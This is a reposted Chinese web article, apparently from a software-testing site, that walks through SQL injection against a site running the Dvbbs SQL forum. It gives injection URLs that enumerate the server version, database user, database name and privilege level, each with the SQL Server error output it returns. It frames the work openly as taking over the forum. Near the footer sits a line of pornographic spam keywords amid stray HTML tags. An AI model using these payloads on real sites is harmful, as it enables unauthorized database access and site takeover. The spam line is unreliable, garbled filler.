• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    SQL注入入侵動網SQL版論壇

    發布: 2008-8-04 10:06 | 作者: 網絡轉載 | 來源: 測試時代采編 | 查看: 24次 | 進入軟件測試論壇討論

    領測軟件測試網 現在動網最新版本是7.0+SP2。應該說安全性已經是很高的了。所以從腳本本身的問題去突破它難度不小。但是我們可以從外部的一些途徑間接“搞定”動網.現在IIS+ASP+SQL2000的組合是比較常見的。而一個網站運用大量的ASP腳本程序,難免不出紕漏。如果一臺主機上存在某個SQL注入點,而這臺主機又安裝有動網SQL版的話,基本上可以得出結論:這個動網就是你的了。下面來看一下實例。

      一、 首先確定目標

      假設以下URL存在SQL注入:
    http://www.loveyou.com/type.asp?id=6 測試能否注入可以在6后面加個單引號。
    http://www.loveyou.com/type.aspid=6' 返回錯誤提示:
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號。

      繼續,先探測一下系統版本:
    http://www.loveyou.com/type.asp?id=(select @@version)--
      返回:
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
    [Microsoft][ODBC SQL Server Driver]
    [SQL Server]將 nvarchar 值 'Microsoft SQL Server
    2000 - 8.00.760 (Intel X86) Dec 17 2002
    14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
    Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。

      看來已經打上最新的SP4補丁。

      取得當前連接數據庫用戶:
    http://www.loveyou.com/type.asp?id=(select user_name())--

      返回:
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
    [Microsoft][ODBC SQL Server Driver]
    [SQL Server]將 nvarchar 值 'webuser' 轉換為數據類型為 int 的列時發生語法錯誤。

      從錯誤信息中得到當前數據庫用戶為:webuser
      取得當前連接數據庫名:
    http://www.loveyou.com/type.asp?id=(select db_name())--

      返回:
    Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 '01city' 轉換為數據類型為 int 的列時發生語法錯誤。

      從錯誤信息中得到當前數據庫名為: 01city

      接下來測試下權限:(注:因為我們的目的是搞定動網而不是侵占系統。所以數據庫權限對我們不是很重要。)
    http://www.loveyou.com/type.asp?id=
    (SELECT IS_SRVROLEMEMBER('sysadmin'))--

      返回錯誤信息。提示當前記錄已刪除?磥頇嘞薰徊皇呛芨咭。繼續,
    http://www.loveyou.com/type.asp?id=
    (SELECT%20IS_MEMBER('db_owner'))--

      正常顯示信息,看來連接數據庫擁有的權限是DB_OWNER(DOWN數據庫所有者。但對操縱數據是綽綽有余了。

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    TAG: sql SQL Sql 論壇


    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備10010545號-5
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>